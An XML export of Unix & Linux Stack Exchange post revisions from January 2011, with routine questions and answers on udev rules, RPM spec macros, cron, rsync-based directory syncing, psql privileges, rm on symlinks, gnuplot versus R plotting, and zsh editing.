  <row Id="15139" PostHistoryTypeId="2" PostId="6603" RevisionGUID="495a87ec-d9ff-49d3-90c1-824e700b5b7d" CreationDate="2011-01-28T17:29:37.347" UserId="4180" Text="I'm running Arch Linux on my server, and I need to let users of the group **usb** access my weather station.&#xD;&#xA;&#xD;&#xA;Here's my rule:&#xD;&#xA;/etc/udev/rules.d/usb-70.rules&#xD;&#xA;&#xD;&#xA;    SYSFS {idVendor} == &quot;1941&quot;, SYSFS {idProduct} == &quot;8021&quot;, MODE = &quot;0666&quot;, GROUP = &quot;usb&quot;&#xD;&#xA;&#xD;&#xA;Users in the usb group still can't see the device (permission denied). The Vendor and Product ID is confirmed correct, and I've rebooted 50 million times to no avail. Anyone have any ideas?" />
  <row Id="15140" PostHistoryTypeId="1" PostId="6603" RevisionGUID="495a87ec-d9ff-49d3-90c1-824e700b5b7d" CreationDate="2011-01-28T17:29:37.347" UserId="4180" Text="udev rules don't appear to be working" />
  <row Id="15141" PostHistoryTypeId="3" PostId="6603" RevisionGUID="495a87ec-d9ff-49d3-90c1-824e700b5b7d" CreationDate="2011-01-28T17:29:37.347" UserId="4180" Text="éarchölinuxàéusbàéudevà" />
  <row Id="15142" PostHistoryTypeId="5" PostId="6602" RevisionGUID="4ccf6e16-b1a7-4120-952c-c116a9c4574a" CreationDate="2011-01-28T17:38:41.350" UserId="3069" Comment="added 77 characters in body" Text="What happens if you do not enclosure it in `{ }`, and only use `&quot; &quot;`&#xD;&#xA;&#xD;&#xA;    %file&#xD;&#xA;    &quot;$AXIS2_C&quot;/bin/services/services.xml&#xD;&#xA;&#xD;&#xA;(or even without `&quot; &quot;` at all)" />
  <row Id="15143" PostHistoryTypeId="2" PostId="6604" RevisionGUID="465b6a70-39b4-4438-a53a-db3b0a2579b2" CreationDate="2011-01-28T17:48:16.233" UserId="3976" Text="Unfortunately, anything defined in the shell started by the %prep, %build or %install sections isn't preserved in the build environment.  You'd need to define %{AXIS2_C}, a *MACRO* variable (not a shell variable):&#xD;&#xA;&#xD;&#xA;    %define AXIS2_C /usr/local/something&#xD;&#xA;&#xD;&#xA;and then refer to it in both your shells as&#xD;&#xA;&#xD;&#xA;    make whatever FOO=%{AXIS2_C} # or however you used the env variable&#xD;&#xA;&#xD;&#xA;and then in the %files section, use&#xD;&#xA;&#xD;&#xA;    %file&#xD;&#xA;    %{AXIS2_C}/bin/services/services.xml&#xD;&#xA;&#xD;&#xA;Usually, the initial %define is at the top of the spec file, with some documentation about what it is for.  If you need to dynamically set the macro, you'll have to use more complex RPM spec macro commands like %() to do shell expansions. &#xD;&#xA;" />
  <row Id="15144" PostHistoryTypeId="2" PostId="6605" RevisionGUID="b9cb0c14-c7f5-4a52-9d34-77ca6eb35b46" CreationDate="2011-01-28T17:52:31.503" UserId="3976" Text="I don't see anything wrong with your cron job as you describe it.  I'd suggest looking at the syslogs of that system to see when cron runs that job.  There should be a log entry every time it runs.  " />
  <row Id="15145" PostHistoryTypeId="2" PostId="6606" RevisionGUID="cedd8a0f-3718-4950-ab98-b3babc3620d5" CreationDate="2011-01-28T17:58:26.133" UserId="732" Text="In your system admin type work, does some task you do either puzzle you (How does *that* work?) or irritate you (Shouldn't *that* work better/faster?)?&#xD;&#xA;&#xD;&#xA;Find several of those tasks, identify the very basic feature that you don't understand, or that irritates or puzzles you. Try to implement the puzzling, irritating or slow feature in C.&#xD;&#xA;&#xD;&#xA;You will get a more thorough education if you have something practical motivating you, and you will have a stopping point.  When you've implemented your very basic feature in C, you can stop, evaluate what you've done, then pick another task that still puzzles you, or irritates you. In light of what you've learned, several tasks will now seem different than they did." />
  <row Id="15146" PostHistoryTypeId="5" PostId="6511" RevisionGUID="1b818b51-e668-4d26-87a2-dbdda53ccf1f" CreationDate="2011-01-28T18:26:21.260" UserId="885" Comment="suggest using unison instead (thanks hasen j)" Text="**Use Unison** as [suggested by hasen j](http://unix.stackexchange.com/questions/6411/any-way-to-sync-directory-structure-when-the-files-are-already-on-both-sides/6518#6518). I'm leaving this answer up as a potentially useful scripting example or for use on a server with only basic utilities installed.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;I'll assume that the file names are unique throughout the hierarchy. I'll also assume that no file name contains a newline, and that the directory trees only contain directories and regular files.&#xD;&#xA;&#xD;&#xA;1. First collect the file names on the source side.&#xD;&#xA;&#xD;&#xA;        (cd /A &amp;&amp; find . \! -type d) &gt;A.find&#xD;&#xA;&#xD;&#xA;2. Then move the files into place on the destination side. First, create a flattened tree of files on the destination side. Use `ln` instead of `mv` if you want to keep hard links around in the old hierarchy.&#xD;&#xA;&#xD;&#xA;        mkdir /B.staging /B.new&#xD;&#xA;        find /B.old -type f -exec sh -c 'mv -- &quot;$@&quot; &quot;$0&quot;' /B.staging {} +&#xD;&#xA;&#xD;&#xA;3. If some files may be missing in the destination, create a similarly flattened `/A.staging` and use rsync to copy the data from the source to the destination.&#xD;&#xA;&#xD;&#xA;        rsync -au /A.staging/ /B.staging/&#xD;&#xA;&#xD;&#xA;4. Now rename the files into place.&#xD;&#xA;&#xD;&#xA;        cd /B.new &amp;&amp;&#xD;&#xA;        &lt;A.find perl -l -ne '&#xD;&#xA;          my $dir = '.'; s!^\./+!!;&#xD;&#xA;          while (s!^([^/]+)/+!!) {  # Create directories as needed&#xD;&#xA;            $dir .= &quot;/$1&quot;;&#xD;&#xA;            -d $dir or mkdir $dir or die &quot;mkdir $dir: $!&quot;&#xD;&#xA;          }&#xD;&#xA;          rename &quot;/B.staging/$_&quot;, &quot;$dir/$_&quot; or die &quot;rename -&gt; $dir/$_: $!&quot;&#xD;&#xA;        '&#xD;&#xA;&#xD;&#xA; Equivalently:&#xD;&#xA;&#xD;&#xA;        cd /B.new &amp;&amp;&#xD;&#xA;        &lt;A.find python -c '&#xD;&#xA;        import os, sys&#xD;&#xA;        for path in sys.stdin.read().splitlines():&#xD;&#xA;            dir, base = path.rsplit(&quot;/&quot;, 2)&#xD;&#xA;            os.rename(os.path.join(&quot;/B.new&quot;, base), path)&#xD;&#xA;        '&#xD;&#xA;&#xD;&#xA;5. Finally, if you care about the metadata of the directories, call rsync with the files already in place.&#xD;&#xA;&#xD;&#xA;        rsync -au /A/ /B.new/&#xD;&#xA;&#xD;&#xA;*Note that I haven't tested the snippets in this post. Use at your own risk. Please report any error in a comment.*&#xD;&#xA;" />
  <row Id="15147" PostHistoryTypeId="2" PostId="6607" RevisionGUID="5b14bd2e-aac5-432f-a615-5086f2051aca" CreationDate="2011-01-28T18:28:34.360" UserId="3976" Text="It's slightly related, but if you're dealing with a crashed system, you might want to invoke the [Magic Sysrq key][1].  This way you can kill all processes, sync your disks, print out the active tasks, initiat a crash dump, and much more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="15148" PostHistoryTypeId="5" PostId="6575" RevisionGUID="f24fe8a8-a36c-47bb-8f66-3c7d74ed905d" CreationDate="2011-01-28T18:33:59.767" UserId="73" Comment="added 11 characters in body" Text="Is there any keyboard shortcut for the &quot;task manager&quot; (like &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Del&lt;/kbd&gt; in windows) when my machine goes into a crashed state?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15149" PostHistoryTypeId="2" PostId="6608" RevisionGUID="98c6d178-5bd2-4ade-9e1f-58deefaa06b3" CreationDate="2011-01-28T18:41:56.060" UserId="3886" Text="I see 2 possibilities:&#xD;&#xA;&#xD;&#xA; 1. You're running very-very strange crond&#xD;&#xA; 2. There is other cronjob scheduled to 4pm (check global /etc/crontab and crontabs of other users, or any directories with periodical jobs, like /etc/periodic in FreeBSD)" />
  <row Id="15150" PostHistoryTypeId="2" PostId="6609" RevisionGUID="ef29f38d-14b6-4783-8e25-dbe3972ee479" CreationDate="2011-01-28T19:05:11.877" UserId="3001" Text="If you’re a UNIX user, all UNIX are pretty much the same.&#xD;&#xA;If you’re a UNIX programmer, all UNIX are a little bit different.&#xD;&#xA;If you’re a UNIX system admin, all UNIX are completely different!&#xD;&#xA;&#xD;&#xA;— Bob Koehler&#xD;&#xA;Hubble Space Telescope&#xD;&#xA;Payload Flight Software Team" />
  <row Id="15151" PostHistoryTypeId="5" PostId="6607" RevisionGUID="afce3025-0de7-4df5-b2ab-2785b692f868" CreationDate="2011-01-28T19:12:20.983" UserId="3976" Comment="typo fix" Text="It's slightly related, but if you're dealing with a crashed system, you might want to invoke the [Magic Sysrq key][1].  This way you can kill all processes, sync your disks, print out the active tasks, initiate a crash dump, and much more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="15152" PostHistoryTypeId="5" PostId="4473" RevisionGUID="1a2600a5-d9fa-4c5d-b37e-69791b990c53" CreationDate="2011-01-28T20:08:55.593" UserId="885" Comment="deleted 5 characters in body" Text=" 1. SFTP as normal&#xD;&#xA; 2. &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;z&lt;/kbd&gt;&#xD;&#xA; 3. `nohup -ga $(pgrep sftp)`&#xD;&#xA;" />
  <row Id="15153" PostHistoryTypeId="5" PostId="6594" RevisionGUID="afd03238-2d53-43f0-b77b-9f14a0667a3b" CreationDate="2011-01-28T20:12:22.593" UserId="885" Comment="pkill is exactly pgrep + kill, there's no need to do it in two steps" Text="Restarting nautilus may work.  It should respawn automatically when killed.&#xD;&#xA;&#xD;&#xA;    pkill nautilus&#xD;&#xA;&#xD;&#xA;Nautilus will immediately respawn, hopefully with your icons showing.&#xD;&#xA;" />
  <row Id="15155" PostHistoryTypeId="5" PostId="6588" RevisionGUID="4886ae4e-d970-4dc7-8d9b-2378d5879d05" CreationDate="2011-01-28T20:42:26.193" UserId="73" Comment="added 2 characters in body" Text="`HISCONTROL=ignoredups`&#xD;&#xA;&#xD;&#xA;http://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html#Bash-Variables" />
  <row Id="15156" PostHistoryTypeId="17" PostId="6611" RevisionGUID="4d1cc21a-5ac9-486c-9718-8ab80189659f" CreationDate="2011-01-28T21:53:29.010" UserId="-1" Comment="from http://stackoverflow.com/questions/4832435/how-can-i-run-a-bash-script-with-several-privileges/4832471#4832471" Text="" />
  <row Id="15157" PostHistoryTypeId="17" PostId="6612" RevisionGUID="6439adc0-6c2b-4169-90ca-555dc2c3d441" CreationDate="2011-01-28T21:53:29.010" UserId="-1" Comment="from http://stackoverflow.com/questions/4832435/how-can-i-run-a-bash-script-with-several-privileges/4832521#4832521" Text="" />
  <row Id="15158" PostHistoryTypeId="17" PostId="6613" RevisionGUID="fff90b55-ec39-41bc-b24e-1f4b6bbeb25e" CreationDate="2011-01-28T21:53:29.010" UserId="-1" Comment="from http://stackoverflow.com/questions/4832435/how-can-i-run-a-bash-script-with-several-privileges/4832533#4832533" Text="" />
  <row Id="15159" PostHistoryTypeId="2" PostId="6611" RevisionGUID="b942b05d-10c0-45b1-835b-caf47cbedf73" CreationDate="2011-01-28T19:58:43.137" UserDisplayName="ajreal" Text="You can run the shell script with user has better write permission (such as root), and when you output the data should write into a folder that database user postgres can write to (such as /tmp)&#xD;&#xA;&#xD;&#xA;after data write finish, move it to the directory that your shell script has permission to write (like root user can write in anywhere)" />
  <row Id="15160" PostHistoryTypeId="2" PostId="6612" RevisionGUID="af0c6f41-e287-488c-b17f-7519023e95fd" CreationDate="2011-01-28T20:03:40.437" UserId="3097" Text="You may want to use this trick:&#xD;&#xA;&#xD;&#xA;    { anycommand } | su -c 'tee file' user&#xD;&#xA;&#xD;&#xA;[`tee(1)`][1] is POSIX utility, so you may rely on its availability.&#xD;&#xA;&#xD;&#xA; [1]: http://www.manpagez.com/man/1/tee/" />
  <row Id="15161" PostHistoryTypeId="2" PostId="6613" RevisionGUID="5d1bfd59-e684-49a3-9ffe-058270f02618" CreationDate="2011-01-28T20:05:00.093" UserId="4247" Text="If you are coming up with tricky ways to circumvent security restrictions, you better be asking yourself if your objective is really wise. I know nothing about postgresql - do you really need to be logged in with the admin account to do what you're trying to do, or is there some way you can grant read-only permissions for whatever it is to a normal user account?" />
  <row Id="15162" PostHistoryTypeId="2" PostId="6610" RevisionGUID="1a401d2e-e4a2-4588-9b70-8791510670da" CreationDate="2011-01-28T19:54:10.847" UserDisplayName="Legate" Text="I have the following problem: On every machine running Postgresql there is a special user _postgres_. This user has administrative access to the database server.&#xD;&#xA;&#xD;&#xA;Now I want to write a Bash script that executes a database command with psql as user _postgres_ (psql shall execute as user _postgres_, not the script). So far, that wouldn't be a problem: I could just run the script as user _postgres_.&#xD;&#xA;&#xD;&#xA;However, I want to write the output of psql to a file in a directory where _postgres_ has no write access.&#xD;&#xA;&#xD;&#xA;How can I do that?  &#xD;&#xA;&lt;br /&gt;&#xD;&#xA;    &#xD;&#xA;I thought about changing EUIDs in the script itself, however:&#xD;&#xA;&#xD;&#xA;1. I couldn't find a way to change the EUID in a Bash script&#xD;&#xA;2. How can I change the EUID when using something like  &#xD;&#xA;`psql -U postgres -c &quot;&lt;command&gt;&quot; &gt; file`?&#xD;&#xA;&#xD;&#xA;PS: Sorry about the horrible title, but I couldn't think of anything better. If you have a better one for this, change it or write it in a comment and I'll change it.&#xD;&#xA;" />
  <row Id="15163" PostHistoryTypeId="1" PostId="6610" RevisionGUID="1a401d2e-e4a2-4588-9b70-8791510670da" CreationDate="2011-01-28T19:54:10.847" UserDisplayName="Legate" Text="How can I run a bash script with several privileges?" />
  <row Id="15164" PostHistoryTypeId="3" PostId="6610" RevisionGUID="1a401d2e-e4a2-4588-9b70-8791510670da" CreationDate="2011-01-28T19:54:10.847" UserDisplayName="Legate" Text="élinuxàébashàépostgresqlàéprivilegesàépsqlà" />
  <row Id="15165" PostHistoryTypeId="17" PostId="6610" RevisionGUID="e2dfe4d1-1fc4-4fd4-9727-f09452dec709" CreationDate="2011-01-28T21:53:29.010" UserId="-1" Comment="from http://stackoverflow.com/questions/4832435/how-can-i-run-a-bash-script-with-several-privileges" Text="" />
  <row Id="15166" PostHistoryTypeId="5" PostId="6610" RevisionGUID="6eef2cb6-4cd0-439a-b416-48858786df17" CreationDate="2011-01-28T22:07:36.973" UserId="885" Comment="title; tags" Text="I have the following problem: On every machine running Postgresql there is a special user _postgres_. This user has administrative access to the database server.&#xD;&#xA;&#xD;&#xA;Now I want to write a Bash script that executes a database command with psql as user _postgres_ (psql shall execute as user _postgres_, not the script). So far, that wouldn't be a problem: I could just run the script as user _postgres_.&#xD;&#xA;&#xD;&#xA;However, I want to write the output of psql to a file in a directory where _postgres_ has no write access.&#xD;&#xA;&#xD;&#xA;How can I do that?  &#xD;&#xA;&lt;br /&gt;&#xD;&#xA;    &#xD;&#xA;I thought about changing EUIDs in the script itself, however:&#xD;&#xA;&#xD;&#xA;1. I couldn't find a way to change the EUID in a Bash script&#xD;&#xA;2. How can I change the EUID when using something like  &#xD;&#xA;`psql -U postgres -c &quot;&lt;command&gt;&quot; &gt; file`?&#xD;&#xA;" />
  <row Id="15167" PostHistoryTypeId="4" PostId="6610" RevisionGUID="6eef2cb6-4cd0-439a-b416-48858786df17" CreationDate="2011-01-28T22:07:36.973" UserId="885" Comment="title; tags" Text="How to run part of a script with reduces privileges?" />
  <row Id="15168" PostHistoryTypeId="6" PostId="6610" RevisionGUID="6eef2cb6-4cd0-439a-b416-48858786df17" CreationDate="2011-01-28T22:07:36.973" UserId="885" Comment="title; tags" Text="élinuxàébashàépermissionsàéshellöscriptà" />
  <row Id="15171" PostHistoryTypeId="2" PostId="6615" RevisionGUID="8def2028-10c7-422d-8325-f47bd52db861" CreationDate="2011-01-28T22:31:06.527" UserId="29" Text="I occasionally make changes to my `rsnapshot.conf` and I'm wondering if there's any way I can do a test run that is sync-ed to a location other than the normal flow... something that's not an `interval`. Is this possible? how?" />
  <row Id="15172" PostHistoryTypeId="1" PostId="6615" RevisionGUID="8def2028-10c7-422d-8325-f47bd52db861" CreationDate="2011-01-28T22:31:06.527" UserId="29" Text="Can I do a &quot;test run&quot; with rsnapshot?" />
  <row Id="15173" PostHistoryTypeId="3" PostId="6615" RevisionGUID="8def2028-10c7-422d-8325-f47bd52db861" CreationDate="2011-01-28T22:31:06.527" UserId="29" Text="ébackupàérsnapshotà" />
  <row Id="15174" PostHistoryTypeId="2" PostId="6616" RevisionGUID="f5bdd689-611a-42aa-8fa9-a26456c16763" CreationDate="2011-01-28T22:40:15.500" UserId="1078" Text="You need to quote the &quot;alias&quot; if it has a space in it:&#xD;&#xA;&#xD;&#xA;    subscribe: &quot;| /home/icasimpan/parse-subscribe.pl&quot;&#xD;&#xA;&#xD;&#xA;or remove the space:&#xD;&#xA;&#xD;&#xA;    subscribe: |/home/icasimpan/parse-subscribe.pl" />
  <row Id="15175" PostHistoryTypeId="2" PostId="6617" RevisionGUID="20e8de79-611b-47f3-b0ad-d1b6ee49d866" CreationDate="2011-01-28T22:55:34.077" UserId="1779" Text="Put them in a script in `~/.kde/env/` (possibly `~/.kde4/env/` or similar; varies by distribution)." />
  <row Id="15176" PostHistoryTypeId="4" PostId="6610" RevisionGUID="6330652c-6ffd-4dd5-b0cf-263464e9a338" CreationDate="2011-01-28T22:56:40.337" UserId="4297" Comment="typo fix" Text="How to run part of a script with reduced privileges?" />
  <row Id="15177" PostHistoryTypeId="25" PostId="6615" RevisionGUID="5d22f323-1412-4d3f-a26b-9fcfd393bcf4" CreationDate="2011-01-28T23:16:05.220" Comment="http://twitter.com/#!/StackUnix/status/31128406544355328" />
  <row Id="15178" PostHistoryTypeId="2" PostId="6618" RevisionGUID="b0bd824a-6be2-496f-bdd6-0dabf317d619" CreationDate="2011-01-28T23:37:31.723" UserId="688" Text="If I run the following sequence of commands, `mkdir dir &amp;&amp; ln -s dir link &amp;&amp; rm -r link/`, I get this output:&#xD;&#xA;&#xD;&#xA;    rm: cannot remove `link': Not a directory&#xD;&#xA;&#xD;&#xA;I get the warning because I could simply have issued `rm -r link` or, better still, `rm link`. Regardless, that command did get the job done (i.e. removed the file named &quot;**link**&quot;).&#xD;&#xA;&#xD;&#xA;Things are a bit different when doing such a thing on a mounted volume, where &quot;**dir**&quot; is replaced with some like &quot;**/media/my_movies**&quot;. In such a case, the entire volume will be wiped, not just the symlink as in the previous example.&#xD;&#xA;&#xD;&#xA;Why is it like that? Is this some bug in `rm`, or is this expected? Why the inconsistency?&#xD;&#xA;" />
  <row Id="15179" PostHistoryTypeId="1" PostId="6618" RevisionGUID="b0bd824a-6be2-496f-bdd6-0dabf317d619" CreationDate="2011-01-28T23:37:31.723" UserId="688" Text="Inconsistency in behavior of 'rm' when a mounted volume is involved?" />
  <row Id="15180" PostHistoryTypeId="3" PostId="6618" RevisionGUID="b0bd824a-6be2-496f-bdd6-0dabf317d619" CreationDate="2011-01-28T23:37:31.723" UserId="688" Text="ésymlinkàérmà" />
  <row Id="15181" PostHistoryTypeId="5" PostId="6617" RevisionGUID="6d5a9e25-d396-4b40-b34a-3c8959202528" CreationDate="2011-01-29T00:09:29.737" UserId="1779" Comment="added 5 characters in body; deleted 1 characters in body" Text="Put them in a `.sh` file in `~/.kde/env/` (possibly `~/.kde4/env/` or similar; varies by distribution)." />
  <row Id="15182" PostHistoryTypeId="2" PostId="6619" RevisionGUID="e37c808f-59f5-44ce-843f-79be2886a3ca" CreationDate="2011-01-29T00:14:38.047" UserId="1131" Text="I have some time-series data I want to visualize as 2d plot.&#xD;&#xA;&#xD;&#xA;The input is ISO-date-format and value separated by space, one record per line:&#xD;&#xA;&#xD;&#xA;    2010-10-21 23&#xD;&#xA;    2010-10-22 32&#xD;&#xA;    etc.&#xD;&#xA;&#xD;&#xA;The output should be a nice looking 2d plot. Basic requirements:&#xD;&#xA;&#xD;&#xA;* output to a X11 window (as preview) and to a png file&#xD;&#xA;* x-axis has to *understand* the dates and naturally scale the data, e.g. a gap between 3 days should be three times as long as a gap between 1 day&#xD;&#xA;* should be callable from a script&#xD;&#xA;* nice output and convenient to use&#xD;&#xA;&#xD;&#xA;Bonus:&#xD;&#xA;&#xD;&#xA;* svg output&#xD;&#xA;&#xD;&#xA;I tried `gnuplot` and it works - it has some date support:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    gnuplot&gt; set xdata time&#xD;&#xA;    gnuplot&gt; set timefmt &quot;%Y-%m-%d&quot;&#xD;&#xA;    gnuplot&gt; plot &quot;test.dat&quot; using 1:2&#xD;&#xA;&#xD;&#xA;But I have some problems with gnuplot:&#xD;&#xA;&#xD;&#xA;* with default settings plots look very ugly&#xD;&#xA;* it is difficult to find stuff in the manual - e.g. when plotting points how do I use small filled circles instead of the default '+' sign?&#xD;&#xA;* the gnuplot shell is a pain in the neck - it does not use readline, it is broken, command completion is a joke, I don't know how to enable vi shortcuts - or if they are supported, what about reverse search etc.&#xD;&#xA;&#xD;&#xA;Thus my question: What are the alternatives for visualizing time-series data?&#xD;&#xA;&#xD;&#xA;Or am I overstating the gnuplot issues?" />
  <row Id="15183" PostHistoryTypeId="1" PostId="6619" RevisionGUID="e37c808f-59f5-44ce-843f-79be2886a3ca" CreationDate="2011-01-29T00:14:38.047" UserId="1131" Text="How to visualize time-series data?" />
  <row Id="15184" PostHistoryTypeId="3" PostId="6619" RevisionGUID="e37c808f-59f5-44ce-843f-79be2886a3ca" CreationDate="2011-01-29T00:14:38.047" UserId="1131" Text="égnuplotàéplotàévisualizationà" />
  <row Id="15185" PostHistoryTypeId="2" PostId="6620" RevisionGUID="45e39a74-a7fc-4cbd-a6d4-13b1b74aed96" CreationDate="2011-01-29T00:32:27.290" UserId="2459" Text="In bash, using vi mode, if I hit &lt;kbd&gt;Esc&lt;/kbd&gt;,&lt;kbd&gt;v&lt;/kbd&gt;, my current command line is opened in the editor specified by `$EDITOR` and I am able to edit it in full screen before 'saving' the command to be returned to the shell and executed.&#xD;&#xA;&#xD;&#xA;How can I achieve similar behaviour in zsh? Hitting &lt;kbd&gt;v&lt;/kbd&gt; in command mode results in a bell an has no apparent effect, despite the `EDITOR` environment variable being set." />
  <row Id="15186" PostHistoryTypeId="1" PostId="6620" RevisionGUID="45e39a74-a7fc-4cbd-a6d4-13b1b74aed96" CreationDate="2011-01-29T00:32:27.290" UserId="2459" Text="How to edit command line in full screen editor in ZSH?" />
  <row Id="15187" PostHistoryTypeId="3" PostId="6620" RevisionGUID="45e39a74-a7fc-4cbd-a6d4-13b1b74aed96" CreationDate="2011-01-29T00:32:27.290" UserId="2459" Text="éshellàézshàéeditorsà" />
  <row Id="15188" PostHistoryTypeId="2" PostId="6621" RevisionGUID="e600b520-cacd-4e26-94d5-124fd304efe9" CreationDate="2011-01-29T00:55:53.323" UserId="138" Text="&lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt; is better at this sort of thing because:&#xD;&#xA;&#xD;&#xA;1. It's a complete programming language, so there is literally nothing you can't make it do.&#xD;&#xA;&#xD;&#xA;2. Many have already contributed their solutions to common problems to the &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;: Comprehensive R Archive Network.&#xD;&#xA;&#xD;&#xA;3. There are &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-Use/dp/0387886974/&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-ebook/dp/B003VYBPA6/&quot;&gt;books&lt;/a&gt; on &lt;a href=&quot;http://www.amazon.com/Time-Analysis-Applications-Springer-Statistics/dp/0387759581/&quot;&gt;time series analysis&lt;/a&gt; and &lt;a href=&quot;http://www.amazon.com/R-Nutshell-Desktop-Quick-Reference/dp/059680170X/&quot;&gt;R&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/R-Book-Michael-J-Crawley/dp/0470510242/&quot;&gt;in general&lt;/a&gt;." />
  <row Id="15189" PostHistoryTypeId="2" PostId="6622" RevisionGUID="d5adf39f-429b-4dfd-9eff-9accc1dbd0aa" CreationDate="2011-01-29T01:03:40.740" UserId="1779" Text="See `edit-command-line` in `zshcontrib`.&#xD;&#xA;&#xD;&#xA;    bindkey -M vicmd v edit-command-line" />
  <row Id="15190" PostHistoryTypeId="5" PostId="6621" RevisionGUID="fca83dee-ed16-480c-8ad4-405598bc3848" CreationDate="2011-01-29T01:12:30.417" UserId="138" Comment="added gnuplot readline para" Text="&lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt; is better at this sort of thing because:&#xD;&#xA;&#xD;&#xA;1. It's a complete programming language, so there is literally nothing you can't make it do.&#xD;&#xA;&#xD;&#xA;2. Many have already contributed their solutions to common problems to the &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;: Comprehensive R Archive Network.&#xD;&#xA;&#xD;&#xA;3. There are &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-Use/dp/0387886974/&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-ebook/dp/B003VYBPA6/&quot;&gt;books&lt;/a&gt; on &lt;a href=&quot;http://www.amazon.com/Time-Analysis-Applications-Springer-Statistics/dp/0387759581/&quot;&gt;time series analysis&lt;/a&gt; and &lt;a href=&quot;http://www.amazon.com/R-Nutshell-Desktop-Quick-Reference/dp/059680170X/&quot;&gt;R&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/R-Book-Michael-J-Crawley/dp/0470510242/&quot;&gt;in general&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;Regarding the gnuplot command line, that's just not correct. According to &lt;a href=&quot;http://www.gnuplot.info/docs_4.4/gnuplot.pdf&quot;&gt;the current manual&lt;/a&gt; (p.20), it supports GNU readline, BSD libedit, and as a fall-back, a custom built-in command line editing scheme. I have gnuplot 3.7 on one machine and 4.0 on another, and they're both built with readline. Perhaps you have a special masochist's/minimalist's build? :)" />
  <row Id="15191" PostHistoryTypeId="5" PostId="6621" RevisionGUID="4e98ca81-c725-4651-9da1-ea0c5a6b1cae" CreationDate="2011-01-29T01:32:19.113" UserId="138" Comment="added extension API stuff" Text="&lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt; is better at this sort of thing because:&#xD;&#xA;&#xD;&#xA;1. It's a complete programming environment, with &lt;a href=&quot;http://cran.r-project.org/doc/manuals/R-exts.html&quot;&gt;C and Fortran-compatible extension APIs&lt;/a&gt;, so there is literally nothing you can't make it do.&#xD;&#xA;&#xD;&#xA;2. Many have already contributed their solutions to common problems to the &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;: Comprehensive R Archive Network.&#xD;&#xA;&#xD;&#xA;3. There are &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-Use/dp/0387886974/&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-ebook/dp/B003VYBPA6/&quot;&gt;books&lt;/a&gt; on &lt;a href=&quot;http://www.amazon.com/Time-Analysis-Applications-Springer-Statistics/dp/0387759581/&quot;&gt;time series analysis&lt;/a&gt; and &lt;a href=&quot;http://www.amazon.com/R-Nutshell-Desktop-Quick-Reference/dp/059680170X/&quot;&gt;R&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/R-Book-Michael-J-Crawley/dp/0470510242/&quot;&gt;in general&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;R has everything you asked for:&#xD;&#xA;&#xD;&#xA;- Outputs to X11, PNG, or (with &lt;a href=&quot;http://cran.r-project.org/web/packages/RSvgDevice/&quot;&gt;an add-on&lt;/a&gt;) SVG&#xD;&#xA;&#xD;&#xA;- Filled circles for plot points: pass `pch=19` or `pch=20` to &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-patched/library/graphics/html/par.html&quot;&gt;par()&lt;/a&gt; or &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-patched/library/graphics/html/points.html&quot;&gt;points()&lt;/a&gt;. There are many other plot point symbols predefined, plus all of Unicode if you're using a font with Unicode support.&#xD;&#xA;&#xD;&#xA;- Time-aware charting: if the built-in ones don't have the scaling you want, you can build anything you need with R's plotting primitives&#xD;&#xA;&#xD;&#xA;- Callable from a script: use a `#!/usr/bin/Rscript` shebang line on your R program file&#xD;&#xA;&#xD;&#xA;- Nice and convenient: There are GUI frontends, if you like, and if you don't like, the default command-driven environment has a lot of nice features, like the ability to see the R source code of many builtin operations, which helps to learn how the system is put together. (Yes, much of R is written in R!)&#xD;&#xA;&#xD;&#xA;- Pretty plots: Antialiasing is the default if R is built against Cairo, which it will be if it's a recent build on Linux. Old versions of R may not have AA built in. For an idea of the capability of R if you put a bit of time into it, check this out:&#xD;&#xA;&#xD;&#xA; &lt;a href=&quot;http://www.vizworld.com/2010/12/visualizing-facebook-friends-eye-candy/&quot;&gt;&lt;img src=&quot;http://images.vizworld.com/wp-content/uploads/2010/12/facebook-mapped-595x298.jpg&quot;&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA; (Click image for article describing it.)&#xD;&#xA;&#xD;&#xA;Regarding the gnuplot command line, that's just not correct. According to &lt;a href=&quot;http://www.gnuplot.info/docs_4.4/gnuplot.pdf&quot;&gt;the current manual&lt;/a&gt; (p.20), it supports GNU readline, BSD libedit, and as a fall-back, a custom built-in command line editing scheme. I have gnuplot 3.7 on one machine and 4.0 on another, and they're both built with readline. Perhaps you have a special masochist's/minimalist's build? :)" />
  <row Id="15192" PostHistoryTypeId="2" PostId="6623" RevisionGUID="e263d485-4a60-4095-b883-298ec9a6d44a" CreationDate="2011-01-29T01:34:53.853" UserId="29" Text="How do I associate applications with KDE activities? it doesn't seem obvious how it works, are there any tricks?" />
